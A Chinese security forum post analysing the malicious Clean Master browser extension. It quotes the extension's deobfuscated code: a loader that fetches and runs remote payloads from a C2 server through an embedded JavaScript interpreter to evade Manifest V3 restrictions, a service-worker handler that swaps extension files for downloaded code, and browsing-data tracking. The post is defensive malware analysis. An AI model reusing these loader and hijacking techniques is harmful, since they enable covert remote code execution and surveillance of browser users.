首页
社区
课程
招聘
[原创] Clean Master恶意浏览器插件样本分析
发表于: 2025-12-3 10:36 1760

[原创] Clean Master恶意浏览器插件样本分析

2025-12-3 10:36
1760

昨晚正和小伙伴愉快地聊天,突然听他说自己常用的 Infinity 插件被 Edge 浏览器标记为恶意软件,直接给禁用了。边沟通边搜集资料,发现国外安全团队 Koi Security 发布了一份关于浏览器恶意插件的披露报告,揭露了一个名为 ShadyPanda的威胁组织。该组织策划并实施了长达七年的恶意网络活动,插件最初提供合法的数据清理功能,甚至曾获得官方应用商店的推荐,但攻击者后期利用平台对更新包审核机制宽松的问题,在后续版本中植入了恶意代码。

本着“吃瓜吃到自己身上”的原则,我检查了一下自己的浏览器扩展列表。好家伙,赫然发现自己电脑上也躺着一个报告里的核心恶意插件——Clean Master

喜提恶意样本一个!那只能边哭边把这个样本给分析了,恶意文件放在了后台,可以私信 Clean Master 获取

manifest.json 申请了极高的权限,包括对所有网站的访问权 (<all_urls>) 和拦截网络请求的能力 (webRequest)。

插件的后台服务 (service_worker) 指向 background/bg.js

background/bg.js 中,第一行代码即暴露了其恶意意图:

它在初始化正常功能之前,优先加载了名为 fuck.js 的恶意脚本。

这是该样本的核心恶意组件,负责与 C2 服务器通信、下载并执行 Payload。

脚本定义了一个异步函数 xxx,向硬编码的 C2 地址发起请求:

为了规避 Manifest V3 禁止使用 evalnew Function 执行远程代码的安全策略,攻击者引入了一个用 JavaScript 编写的 JS 解释器 (interpreter.js):

fuck.js 中还有个监听分发机制,startListener 监听 chrome.runtime.onMessage,这是 Chrome 插件各组件间通信的标准方式。当插件的其他组件发送消息并携带 run_on 参数时,startListener 会查询本地缓存的恶意配置,筛选出所有 run_on 字段匹配请求方环境的配置项,筛选出的恶意代码(包含源码字符串 src_str)会被通过 sendResponse 发回给请求方。这个函数并没有被显式调用,感觉更像是恶意代码分发服务中台、当插件的其他上下文需要执行恶意代码时,它们会向后台发送请求,startListener 负责根据请求方的运行环境(run_on)筛选并返回对应的恶意 Payload,猜测可能是为了后续定向攻击留存的吧,毕竟恶意代码也可以定期下发,可以每次接收不同的恶意代码,收集更多类型的信息。

官方分析中提到的“中间人攻击:通过 service worker 可拦截和修改网络请求,用恶意脚本替换合法的 JavaScript 文件”的机制,其代码依据主要位于 background/fuck.js 文件中。

这段代码利用了 Service Worker 的 fetch 事件监听器,拦截对插件自身资源的请求,并将其替换为从远程服务器下载的恶意代码。

攻击原理分析:

一个完整的 JavaScript 解释器实现,专门用于在 MV3 扩展等受限环境中执行动态下发的代码,绕过 CSP 限制。攻击者可在不更新插件的情况下随时改变攻击逻辑。

打包好的 CryptoJS 密码学库,提供 AES、SHA 等加密算法,用于解密 C2 下发的 Payload 及加密窃取数据后回传。

精心设计的"伪装模块",让插件看起来像合法隐私保护工具。

关键发现 - 被动监测而非拦截:
代码注册 chrome.webRequest.onBeforeRequest 监听器,但未申请 ["blocking"] 权限:

这意味着它无法真正拦截或取消网络请求,只能旁路监听,猜测可能为申请高危的 webRequestwebNavigation 权限提供正当理由,降低应用商店审核人员的警惕,并且还可以将访问的网站URL存储到本地,可以后续窃取。

工作流程:
1. 加载本地规则文件 background/seed.json
2. 监听所有网络请求,判断是否为第三方请求。
3. 如果请求域名匹配规则中的 "block" 动作,它仅仅是将该域名记录到内存中的 trackerMap 对象里。
4. 通过 getTrackerList 消息接口,将记录的“追踪器”列表返回给前端(Popup 页面)。

通过对本地 LevelDB 日志中提取的恶意代码 (src_str) 进行反混淆与分析,还原了该 Payload 的完整攻击逻辑。

提取的配置结构 (来自 LevelDB 日志 012834.log):

代码中包含一段针对开发者工具 (DevTools) 的检测逻辑,用于在安全分析人员调试时隐藏恶意行为。

Payload 注册了 chrome.webRequest.onCompleted 监听器,监控浏览器中所有的主框架 (main_frame) 请求。

窃取的数据字段极其详尽,足以完整画像用户的浏览行为:

代码会生成一个 UUID 并存储在 chrome.storage.sync 中。

在本次披露的报告中,除了 Clean Master 被实锤包含恶意代码外,知名的 WeTabInfinity 扩展也被列入了 ShadyPanda 组织的关联名单中。报告指控这些扩展可能涉及数据收集等行为(被称为“阶段 2”和“阶段 4”的活动)。

然而,针对这一指控及随后的下架处理,WeTab 和 Infinity 官方已发布声明进行澄清。为了保持客观中立,现将官方声明要点摘录如下,供读者参考:

笔者注:

这种攻击手法其实并没有那么复杂,主要利用了平台对更新的审查不严,但沉淀了这么久才开始动手。。。确实防不胜防

最后给大伙儿提个醒:
赶紧查查自己的浏览器插件列表,看到edge的插件封禁安全提示,就说明你有可能中招了,看看自己有没有安装Clean Master插件吧。

5b8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2C8L8$3W2Q4x3X3g2S2K9g2)9J5c8X3u0D9L8$3N6Q4x3V1j5@1i4K6u0V1L8h3W2D9L8r3W2G2L8W2)9J5k6r3u0J5L8%4N6K6k6i4u0K6i4K6u0V1K9h3&6X3k6h3y4@1k6h3c8Q4x3X3c8A6L8Y4y4A6k6r3g2Q4x3X3c8K6K9r3q4V1P5i4m8S2L8X3c8S2i4K6u0V1y4#2)9J5k6s2W2W2j5i4u0Q4x3X3c8E0j5h3I4%4j5i4u0W2i4K6u0V1j5$3q4E0M7r3q4A6k6$3&6Q4x3U0y4Z5k6h3q4V1K9h3&6Y4i4K6u0V1x3b7`.`.

importScripts("/background/fuck.js","/lib/js/lib.js","/background/bg-setting.js", ...);
importScripts("/background/fuck.js","/lib/js/lib.js","/background/bg-setting.js", ...);
const xxx=async()=>{
  let e=await get(key);
  // 检查是否需要更新(每小时更新一次)
  if(!e||!e.nextUpdateTime||e.nextUpdateTime<Date.now()){
    // 从远程服务器获取恶意代码配置
    const t=await fetch("d26K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2W2P5s2c8W2L8Y4y4A6L8$3&6H3L8r3q4&6i4K6u0W2j5$3!0E0i4K6u0r3j5$3I4W2j5h3&6Q4y4h3k6E0j5i4y4@1k6i4u0Q4x3V1k6@1i4K6u0W2K9Y4y4G2L8W2)9K6c8Y4c8Q4x3@1b7`."+Date.now())
      .then(e=>e.json());
    // 下载远程代码
    await Promise.all(t.map(r=>new Promise((e,t)=>{
      if(!r.src_str&&r.src){
        const n=new URL(r.src);
        n.searchParams.set("t",Date.now()),
        fetch(n.toString()).then(e=>e.ok&&e.text())
          .then(e=>e&&(r.src_str=e)).then(e).catch(t)
      }else e()
    })))
    // 设置下次更新时间为1小时后
    e={nextUpdateTime:Date.now()+36e5,data:t},
    await set(key,e)
  }
  // 执行下载的代码
  runOnce||(runOnce=!0,e.data.forEach(e=>{
    if(Array.isArray(e.run_on)){
      if(!e.run_on.includes("bg"))return
    }else if("bg"!==e.run_on)return;
    e.src_str&&interpreter.run(e.src_str,globalThis||self||window||{})
  }))
}
const xxx=async()=>{
  let e=await get(key);
  // 检查是否需要更新(每小时更新一次)
  if(!e||!e.nextUpdateTime||e.nextUpdateTime<Date.now()){
    // 从远程服务器获取恶意代码配置
    const t=await fetch("b18K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2W2P5s2c8W2L8Y4y4A6L8$3&6H3L8r3q4&6i4K6u0W2j5$3!0E0i4K6u0r3j5$3I4W2j5h3&6Q4y4h3k6E0j5i4y4@1k6i4u0Q4x3V1k6@1i4K6u0W2K9Y4y4G2L8W2)9K6c8Y4c8Q4x3@1b7`."+Date.now())
      .then(e=>e.json());
    // 下载远程代码
    await Promise.all(t.map(r=>new Promise((e,t)=>{
      if(!r.src_str&&r.src){
        const n=new URL(r.src);
        n.searchParams.set("t",Date.now()),
        fetch(n.toString()).then(e=>e.ok&&e.text())
          .then(e=>e&&(r.src_str=e)).then(e).catch(t)
      }else e()
    })))
    // 设置下次更新时间为1小时后
    e={nextUpdateTime:Date.now()+36e5,data:t},
    await set(key,e)
  }
  // 执行下载的代码
  runOnce||(runOnce=!0,e.data.forEach(e=>{
    if(Array.isArray(e.run_on)){
      if(!e.run_on.includes("bg"))return
    }else if("bg"!==e.run_on)return;
    e.src_str&&interpreter.run(e.src_str,globalThis||self||window||{})
  }))
}
importScripts("/background/encrypt-bundle.js", "/background/interpreter.js");
// ...
e.data.forEach((e) => {
        if (Array.isArray(e.run_on)) {
          if (!e.run_on.includes("bg")) return;
        } else if ("bg" !== e.run_on) return;
        // 使用解释器执行远程代码
        e.src_str &&
          interpreter.run(e.src_str, globalThis || self || window || {});
})
importScripts("/background/encrypt-bundle.js", "/background/interpreter.js");
// ...
e.data.forEach((e) => {
        if (Array.isArray(e.run_on)) {
          if (!e.run_on.includes("bg")) return;
        } else if ("bg" !== e.run_on) return;
        // 使用解释器执行远程代码
        e.src_str &&
          interpreter.run(e.src_str, globalThis || self || window || {});
})
//...
async function startListener() {
  chrome.runtime.onMessage.addListener(function (r, e, s) {
    return (
      get(key)  // key = "fuck",从本地存储读取恶意配置
        .then((e) => {
          const t = (e && e.data) || [],  // 获取 Payload 数组
            n = r["run_on"];  // 从消息中获取请求的 run_on 类型
          s(
            t.filter((e) => { 
              if (Array.isArray(e.run_on)) {
                if (e.run_on.includes(n)) return !0;
              } else if (e.run_on === n) return !0;
            })
          );
        })
        .catch(noop),
      !0
    );
  });
}
//...
async function startListener() {
  chrome.runtime.onMessage.addListener(function (r, e, s) {
    return (
      get(key)  // key = "fuck",从本地存储读取恶意配置
        .then((e) => {
          const t = (e && e.data) || [],  // 获取 Payload 数组
            n = r["run_on"];  // 从消息中获取请求的 run_on 类型
          s(
            t.filter((e) => { 
              if (Array.isArray(e.run_on)) {
                if (e.run_on.includes(n)) return !0;
              } else if (e.run_on === n) return !0;
            })
          );
        })
        .catch(noop),
      !0
    );
  });
}
self.addEventListener("fetch", (e) => {
  if (fuckDataArr) {
    const n = e.request;
    // 1. 检查请求的 URL 是否匹配配置中的 proxy_url
    var t = fuckDataArr.find(
      (e) => chrome.runtime.getURL(e.proxy_url) === n.url
    );
     
    // 2. 如果匹配成功(即目标是插件的某个合法文件)
    if (t) {
      const r = new Headers();
      "css" === t.type
        ? r.set("Content-Type", "text/css")
        : r.set("Content-Type", "text/javascript"),
         
        // 3. 实施“中间人攻击”:
        // 不让请求去加载本地磁盘上的真实文件,而是直接返回内存中缓存的恶意代码 (t.src_str)
        e.respondWith(new Response(t.src_str, { headers: r }));
    }
  }
});
self.addEventListener("fetch", (e) => {
  if (fuckDataArr) {
    const n = e.request;
    // 1. 检查请求的 URL 是否匹配配置中的 proxy_url
    var t = fuckDataArr.find(
      (e) => chrome.runtime.getURL(e.proxy_url) === n.url
    );
     
    // 2. 如果匹配成功(即目标是插件的某个合法文件)
    if (t) {
      const r = new Headers();
      "css" === t.type
        ? r.set("Content-Type", "text/css")
        : r.set("Content-Type", "text/javascript"),
         
        // 3. 实施“中间人攻击”:
        // 不让请求去加载本地磁盘上的真实文件,而是直接返回内存中缓存的恶意代码 (t.src_str)
        e.respondWith(new Response(t.src_str, { headers: r }));
    }
  }
});
chrome.webRequest.onBeforeRequest.addListener(t=>{
    var{tabId:t,url:e,type:r,initiator:i,frameId:a}=t;
    // ... 逻辑判断 ...
    if(e){
        const o=trackerMap[t]||{};
        // 仅仅是将域名加入列表
        o.trackerList.includes(a)||(o.trackerList.push(a),trackerMap[t]=o)
    }
},{urls:["http://*/*","https://*/*"]}) // 缺少 ["blocking"]
chrome.webRequest.onBeforeRequest.addListener(t=>{
    var{tabId:t,url:e,type:r,initiator:i,frameId:a}=t;
    // ... 逻辑判断 ...
    if(e){
        const o=trackerMap[t]||{};

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 4
支持
分享
最新回复 (3)
雪    币: 13
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
分析分享来源:SecureNexusLab团队核心成员TheBigBangTheory。
由于系统上传附件有点问题,附上分析附件材料地址:75fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0k6h3y4#2M7X3g2z5k6i4S2#2M7@1I4S2j5W2)9J5c8W2m8#2j5X3I4A6j5@1#2S2N6r3g2J5K9h3q4D9f1$3S2S2M7X3W2F1k6#2)9J5c8Y4c8J5k6h3g2Q4x3V1k6E0j5h3W2F1i4K6u0r3K9$3q4F1P5s2g2W2i4K6u0r3b7$3I4W2j5h3&6Q4x3U0f1J5x3p5#2S2M7%4c8W2M7R3`.`.
2025-12-3 10:53
0
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
好东西,帮顶
2025-12-3 14:24
0
雪    币: 227
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
感谢师傅分享
2025-12-3 23:17
0
游客
登录 | 注册 方可回帖
返回